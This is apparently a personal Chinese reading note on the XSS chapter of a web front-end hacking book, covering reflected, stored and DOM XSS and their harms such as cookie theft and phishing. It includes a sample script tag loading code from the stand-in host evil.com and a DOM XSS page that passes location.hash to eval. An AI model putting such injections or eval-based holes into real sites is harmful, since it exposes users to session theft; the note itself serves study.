《Web前端黑客技术揭秘》Reading Note #2

这两天看了此书的第三章XSS,感觉内容跟刺总的书XSS部分差不多。不过evilcos大神这一章介绍的是XSS的基础,讲得要比刺总的略详细。怒反省一记,刺总的书是一个月前看的,不过今天回想一下,XSS这部分竟然忘得差不多了= =还是做下笔记比较靠谱啊~

XSS(Cross Site Scripting)即跨站脚本,发生在目标网站中目标用户的浏览器层面上。这里的“跨”是浏览器的特性,造成“跨”是因为绝大多数XSS攻击都会采用嵌入一段远程或者说第三方域的脚本资源:

<script src="http://www.evil.com/xss.js"></script>

这样做的好处是攻击代码容易控制,而且在目标网站“输入”的内容会大大缩小。

这样的调用会使得xss.js的代码嵌入到目标网站的上下文代码环境中,从而盗取用户身份信息、修改用户数据等。

有的时候,XSS并不按照浏览器允许的策略执行(同源策略),那么这时XSS突破的就是浏览器的同源策略。

通俗地总结XSS:想尽一切办法将你的脚本内容在目标网站中目标用户的浏览器上解析执行即可。

XSS分三类,分别是:反射型XSS(也叫非持久型XSS)、储存型XSS(也叫持久型XSS)和DOM XSS。

反射型XSS:XSS代码出现在URL中并提交到服务端,待服务器解析后由浏览器执行。由于XSS代码出现在URL中,所以这种攻击很容易被用户识破。

存储型XSS:提交的XSS代码会存储在服务端(数据库、内存或是文件系统),下次请求目标页面时会自动带上XSS代码而不用再次提交。这种攻击常出现在留言板,而且比上面的反射型要隐秘,毕竟正常访问目标页面都会触发XSS攻击。

DOM XSS:XSS代码不需要服务器解析响应,触发XSS靠的就是浏览器端的DOM解析,可以认为完全是客户端的事情。不需要服务器解析是与上面两者最大的区别。

自己一直没搞懂最后一种的意思,不过看了书上的例子之后就明白了。

如xssme.html的代码如下:

<script>
eval(location.hash.substr(1));
</script>

 要触发这个页面XSS攻击的方式是:http://www.foo.com/xssme.html#alert(1)

这里的alert(1)不需要向服务器发出请求,它的解析是由浏览器完成的。

除了location.hash.substr(1)这种方式外,JavaScript还提供了很多输入点,具体看书的78~80页(太多了不想全打。。)。

 

XSS涉及的场景很多,基本上能解析HTML和JavaScript的地方都有它出现的身影。

在不同的域范围内执行的XSS权限也不一样。如:Internet域、本地域、特殊域等。

其实XSS主要是JavaScript在发挥作用,而JS的日渐流行,也让XSS能发挥的地方越来越多。

XSS的危害

挂马

盗取用户cookie

DoS客户端浏览器(卡死、崩溃等)

钓鱼攻击

……

« 返回